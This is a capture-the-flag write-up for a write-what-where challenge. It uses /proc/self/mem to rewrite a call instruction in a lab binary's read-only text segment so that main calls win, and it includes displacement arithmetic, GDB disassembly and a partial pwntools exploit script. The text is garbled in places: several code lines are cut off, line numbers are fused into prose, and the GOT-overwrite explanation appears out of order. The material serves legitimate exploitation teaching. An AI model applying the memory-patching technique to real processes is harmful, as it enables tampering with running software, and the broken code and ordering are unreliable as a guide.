This challenge will test your write-what-where abilities to modify a meaningful location to achieve the desired result. There are three challenges that are all based on the same idea of editing different locations.
Stuck? Open one hint at a time before reading the solution.
puts looks tempting, but follow what win itself calls to print the flag.win instead.call is e8 followed by a 4-byte displacement, measured from the address of the next instruction.From running the challenge, we see we're granted the opportunity to write to an address in the program. From the disassembly, we see the program expects a hexadecimal (pseudocode on the right):
10x004014ca lea rax, [rbp - 0x10] | rax = rbp - 0x10;
2From there, the Memory-Write-Inator gets called, which allows you to enter a long hexadecimal to write at that location. It prints the current value for reference. Here is a sample run of the program:
./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:Checking the disassembly for memory_write_inator, we notice it uses a rather unconventional method for writing this information:
10x00401399 mov esi, 2 | esi = 2;
20x0040139e lea rax, [rip + 0xc74]It's opening /proc/self/mem and writing the data there:
10x00401450 lea rcx, [rbp - 0x18] | rcx = rbp - 0x18;
2We can check man proc to see what this file is:
/proc/[pid]/mem
This file can be used to access the pages of a process's memory through open(2), read(2), and lseek(2).
Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).This file allows us to edit any memory inside the process, including read-only segments. This provides extra permission over doing *addr = value because this is subject to the permissions of the address memory segment.
Given write-what-where, the first instinct might be a GOT overwrite. Despite this binary having Full RELRO, we already indicated we can write to read-only segments. However, we'll run into the problem outlined below.
puts(), meaning this is the only choice for the GOT entry to overwrite. We must overwrite this with the address of win for it to call win. Dissecting win, we see it loads the flag into memory and prints the flag:10x004012e5 call 0x4011b0 | rax = fopen (rax, rsiThis means we must modify something else. We don't have buffer overflow opportunities because we can't guarantee ASLR is off, meaning stack addresses will be randomized. What is left?
The notion that we can still write to read-only segments is imperative for this challenge. Because of this, we choose to write to the text segment to modify an instruction. Most instructions are less than 8 bytes, meaning we can modify an instruction to do something different to achieve the desired effect. The easiest instruction to modify is this:
0x0000000000401411 <+112>: call 0x401040 <puts@plt>This is a good instruction to choose because we can easily change the function it calls without any effect to the surrounding code. In this case, we simply want to change the instruction to something like this:
0x0000000000401411 <+112>: call 0x4011e6 <win>In order to determine how to do this, we must understand how instructions are written.
In the assembly process, instructions are converted to hexadecimal based on the program architecture. In this case, for x64, the x64 ISA (Instruction Set Architecture) defines codes that represent how instructions are written. These codes, called Opcodes, indicate the instruction to be executed and its arguments.
Let's see what prints when we print the instruction at 0x401411:
./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:It prints 8 bytes there! It doesn't make sense that the instruction is 8 bytes, it should be 5 (see Instructions in Assembly to understand why). We can use disas /r to print the bytes for each instruction with the instruction in GDB. Let's check the instruction being printed:
10x0000000000401411 <+112>: e8 2a fc ff ff call 0x401040 <puts@plt>
20x0000000000401416 <+117>: b8 00 00 00 00We see that as expected, the instruction is 5 bytes. However, since the code always prints 8 bytes, it is printing part of the next instruction. When we overwrite this value, we must ensure to also do this to keep the code consistent.
First, we must break down the instruction we're overwriting. This is done in detail in the above reference. e8 is the Opcode for a CALL rel16/32 instruction. rel is important because it indicates that the following four bytes are a relative displacement. Since puts is above main in the text segment (because of Full RELRO), we expect the displacement to be negative (two's complement). This displacement is 0xfffffc2a=-0x3d6=-982.
The easy way is to compute the instruction to replace and enter normally. Since the code is expecting a 0x%lx value, we can easily enter this ourselves.
We must determine the offset between the return instruction and win. Let's collect those addresses:
10x00000000004011e6 win
2
30x0000000000401411 <+112>: e8 2a fc ff ff call 0x401040 <puts@plt>
40x0000000000401416 <+We need the distance between 0x4011e6 and 0x401416. We're confident the displacement must be negative since main is the highest function in the text segment. Python does not do two's complement since it doesn't track variable sizes; however, we can compute it manually. First, we can get the value to convert:
hex(0x4011e6-0x401416)'-0x230'To convert to two's complement, find the difference between the value and 1 plus the maximum size for that type. In this case, to fit a 32-bit value, we need 0xffffffff + 1. We can also write this as 1 << 32.
hex((1 << 32) - 0x230)'0xfffffdd0'With this, we can replace our instruction and send it: Following the format (hinted by the output of the program), we need to send:
e8 d0 fd ff ff b8 00 00Remember that we send the hex in the proper format and the C Runtime automatically reads it little-endian as expected. Let's send it!
./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:0xb8fffffdd0e8IFC{PL4C3H0LD3R_FL4G_H3R3!}The automated way is to compute the new instruction independent of the address of each function. Solely considering the offset between win and the instruction, we can use Pwntools to help deduce the replacement instruction.
First, we'll want a method for automatically computing two's complement. We'll use the same idea as the above method to write this:
1def twos_comp(offset, bits):
2 return p32((1 << bits) + offset)Then, we outline the instruction line to change. We can send this to the binary.
1change = elf.sym.main + 112
2p.sendline(hex(change).encode())Then, we want to receive the data containing the current instruction and store it as an array of hex values. This can also be done as bytes.
1p.recvuntil(b"You chose: ")
2bts = [int(x, 16) for x in p.recvline().Then, we must compute the new offset using the two's complement formula and replace the offset inside the array:
1offset = elf.sym.win - (elf.sym.main + 117)
2offset = [b for b in twos_comp(Finally, turn this into a byte-string containing a hex value and send it to the challenge!
1inst = '0x' + bytes(bts[::-1]).hex()
2p.sendline(inst.Running this gets us the flag as well!
python3 exploit.py[+] Starting local process './chall': pid 114640The Memory-Write-Inator will now change its value for you.Enter a new value for this location:IFC{PL4C3H0LD3R_FL4G_H3R3!}Notice this function uses puts() to print the flag. Since puts() inside the GOT table is overwritten with the address to win, instead of printing the flag, it calls win again! This leads to an infinite recursion issue that results in a SEGFAULT. Therefore, this means this attack vector is not valid because it ruins our way of printing the flag.